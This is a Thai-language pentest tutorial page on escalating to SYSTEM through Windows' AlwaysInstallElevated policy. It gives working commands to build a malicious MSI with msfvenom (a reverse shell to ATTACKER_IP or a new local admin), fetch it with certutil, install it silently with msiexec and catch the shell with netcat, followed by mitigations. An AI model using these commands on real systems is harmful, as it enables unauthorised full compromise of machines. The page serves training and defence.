windows-privesc
AlwaysInstallElevated
AlwaysInstallElevated เป็น policy ที่ทำให้ user ธรรมดาติดตั้ง MSI package ด้วยสิทธิ์ SYSTEM ได้ ถ้าเปิดทั้ง HKCU และ HKLM เราสร้าง malicious MSI แล้วติดตั้งเพื่อรันโค้ดเป็น SYSTEM บทนี้ลงลึกการตรวจ, การสร้าง MSI, การติดตั้ง, และการป้องกัน (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
Intermediate#alwaysinstallelevated#windows#privesc#msi#msiexec#registry#ctf
1. หลักการ
AlwaysInstallElevated เป็น Windows policy ที่ออกแบบให้ user ติดตั้ง MSI ที่ต้องสิทธิ์สูงได้โดยไม่ต้องเป็น admin — แต่ถ้าเปิด มันทำให้ติดตั้ง MSI ใดๆ ด้วยสิทธิ์ SYSTEM รวมถึง MSI ที่เราสร้างเอง = privesc ตรงๆ เงื่อนไข: ต้องเปิด (= 1) ทั้ง HKCU และ HKLM
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น
2. ตรวจสอบ (ต้องเปิดทั้งสอง)
ตรวจ registry ทั้ง HKCU + HKLMWindows
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# ต้องได้ 0x1 ทั้งคู่:
# AlwaysInstallElevated REG_DWORD 0x1
# ถ้าเปิดแค่ตัวเดียว = ใช้ไม่ได้
# PowerUp / WinPEAS ตรวจให้
# PowerUp: Get-RegistryAlwaysInstallElevatedต้อง 0x1 ทั้ง HKCU และ HKLM — ถ้าตัวใดตัวหนึ่งเป็น 0 หรือไม่มี = exploit ไม่ได้
3. สร้าง MSI + ติดตั้ง
สร้าง malicious MSI แล้ว msiexecWindows
# === บนเครื่องเรา: สร้าง MSI ด้วย msfvenom ===
# reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f msi -o evil.msi
# หรือเพิ่ม admin user
msfvenom -p windows/exec CMD="net localgroup administrators user /add" -f msi -o add.msi
# === ส่งเข้าเป้าหมาย แล้วติดตั้ง (รันเป็น SYSTEM) ===
# download: certutil -urlcache -f http://ATTACKER_IP/evil.msi evil.msi
msiexec /quiet /qn /i evil.msi
# /quiet /qn = เงียบ ไม่มี UI; /i = install
# → payload รันเป็น SYSTEM
# ตรวจ: net localgroup administrators (ถ้าเพิ่ม admin)
# PowerUp ทำให้อัตโนมัติ:
# Write-UserAddMSI (สร้าง MSI ที่ pop เพิ่ม user)msfvenom -f msi สร้าง MSI; msiexec /quiet /i ติดตั้งเป็น SYSTEM; PowerUp Write-UserAddMSI ทำให้
4. การป้องกัน
- อย่าเปิด AlwaysInstallElevated — เป็น policy ที่อันตรายมาก ไม่ควรใช้
- ตั้งทั้งสอง key เป็น 0 (หรือลบ)
- ใช้วิธีอื่นในการ deploy software ที่ต้องสิทธิ์ (GPO, SCCM)
- audit registry policy เป็นระยะ
5. Quick Reference
- policy ให้ user ติดตั้ง MSI เป็น SYSTEM
- ตรวจ: reg query HKCU+HKLM ...\Installer AlwaysInstallElevated = 0x1 ทั้งคู่
- สร้าง: msfvenom -f msi -o evil.msi
- ติดตั้ง: msiexec /quiet /qn /i evil.msi → SYSTEM
- PowerUp: Write-UserAddMSI อัตโนมัติ
- ป้องกัน: ตั้งทั้งสอง key = 0 (อย่าเปิด)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ shell ธรรมดาบนเครื่อง Windows เป้าหมาย (เช่นจาก web shell/RCE) แล้วสงสัยว่า AlwaysInstallElevated เปิดอยู่หรือเปล่า มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้น
- 1เปิด http server บน Kali เพื่อส่งไฟล์: python3 -m http.server 80
- 2ส่ง winPEAS เข้าไปเช็คแบบรวดเดียว: บนเป้าหมาย certutil -urlcache -f http://
/winPEASx64.exe wp.exe แล้วรัน .\wp.exe quiet cmd fast — ดูว่ามีบรรทัดแดงพื้นเหลืองเรื่อง AlwaysInstallElevated ไหม - 3ถ้าไม่ชัด ตรวจเองด้วยมือ: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated และ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
- 4ต้องเห็น 0x1 ทั้งสองค่า ถ้าใช่ = exploit ได้แน่นอน
- 5บน Kali สร้าง MSI: msfvenom -p windows/x64/shell_reverse_tcp LHOST=
LPORT=4444 -f msi -o evil.msi - 6เปิด listener รอ shell: nc -lvnp 4444
- 7ส่ง evil.msi เข้าเป้าหมาย (เช่นผ่าน certutil หรือ impacket-smbserver) แล้วรัน msiexec /quiet /qn /i evil.msi
- 8เช็ค listener ที่ Kali — ถ้าได้ shell กลับมา whoami ต้องเป็น nt authority\system
- 9ถ้าไม่ได้ผล ตรวจว่า .msi arch ตรงกับเป้าหมาย (x64/x86) แล้วลองใหม่
- 10ถ้าทั้งสอง key ไม่ใช่ 0x1 ทั้งคู่เลย ให้ข้ามไปเช็ค vector อื่น (services/registry/scheduled tasks/token)
ตัดสินใจ: AlwaysInstallElevated ใช้ได้ไหม
รัน winPEAS หรือ reg query เช็ค AlwaysInstallElevated
ทั้ง HKCU และ HKLM เป็น 0x1 ไหม?
✅ เป็น 0x1 ทั้งคู่→→ สร้าง MSI ด้วย msfvenom แล้ว msiexec ติดตั้ง
❌ ไม่ใช่ / มีแค่ตัวเดียว→→ ข้ามไปเช็ค Windows Services แทน
msiexec /quiet /qn /i evil.msi
รอ shell ที่ nc listener
ได้ shell กลับมาเป็น SYSTEM ไหม?
✅ ได้ SYSTEM→→ จบ! ยกระดับสำเร็จ
❌ ไม่ได้ / arch ไม่ตรง→→ เช็ค x64/x86 แล้วลองใหม่ ไม่งั้นข้ามไปท่าอื่น
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server | - | - |
| ตรวจ registry จากระยะไกล (ถ้ามี creds แล้ว) | crackmapexec / nxc | pipx install netexec | - |
| สร้าง malicious MSI | msfvenom (metasploit-framework) | - | - |
| เปิด reverse shell listener | nc / msfconsole | - | revshells.com |
| ดู LOLBin ที่เกี่ยวข้อง (msiexec) | - | - | lolbas-project.github.io |
| เข้า shell ทาง WinRM (ถ้ามี creds) | evil-winrm | gem install evil-winrm | - |
| ค้น exploit เพิ่มเติมตามระบบ | searchsploit | - | exploit-db.com |
🚑 ถ้าตันสนิท ลองท่าถัดไป: Win Services (misconfig พบบ่อยกว่านี้อีก), Registry (autorun/credential ที่เก็บไว้), Scheduled Tasks (task ที่รันเป็น SYSTEM), หรือถ้ามี hash/credential อยู่แล้วให้ไป Credential Dumping แล้วต่อด้วย Pass-the-Hash เพื่อ lateral movement
หัวข้อที่เชื่อมโยง
Registry Privescอยู่ใน workflowWindows Service Abuseอยู่ใน workflowCredential Dumping (LSASS)อยู่ใน workflowDLL Hijackingเครื่องมือเดียวกันWinPEASหัวข้อใกล้เคียงScheduled Tasksหัวข้อใกล้เคียงUnquoted Service Pathหัวข้อใกล้เคียงToken Abuse (Potato Attacks)หัวข้อใกล้เคียงWinPEAS Playbookหัวข้อใกล้เคียงKernel Exploitationหัวข้อใกล้เคียงADCS Abuse (ESC1–ESC13)หัวข้อใกล้เคียงLinPEAS Playbookหัวข้อใกล้เคียง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้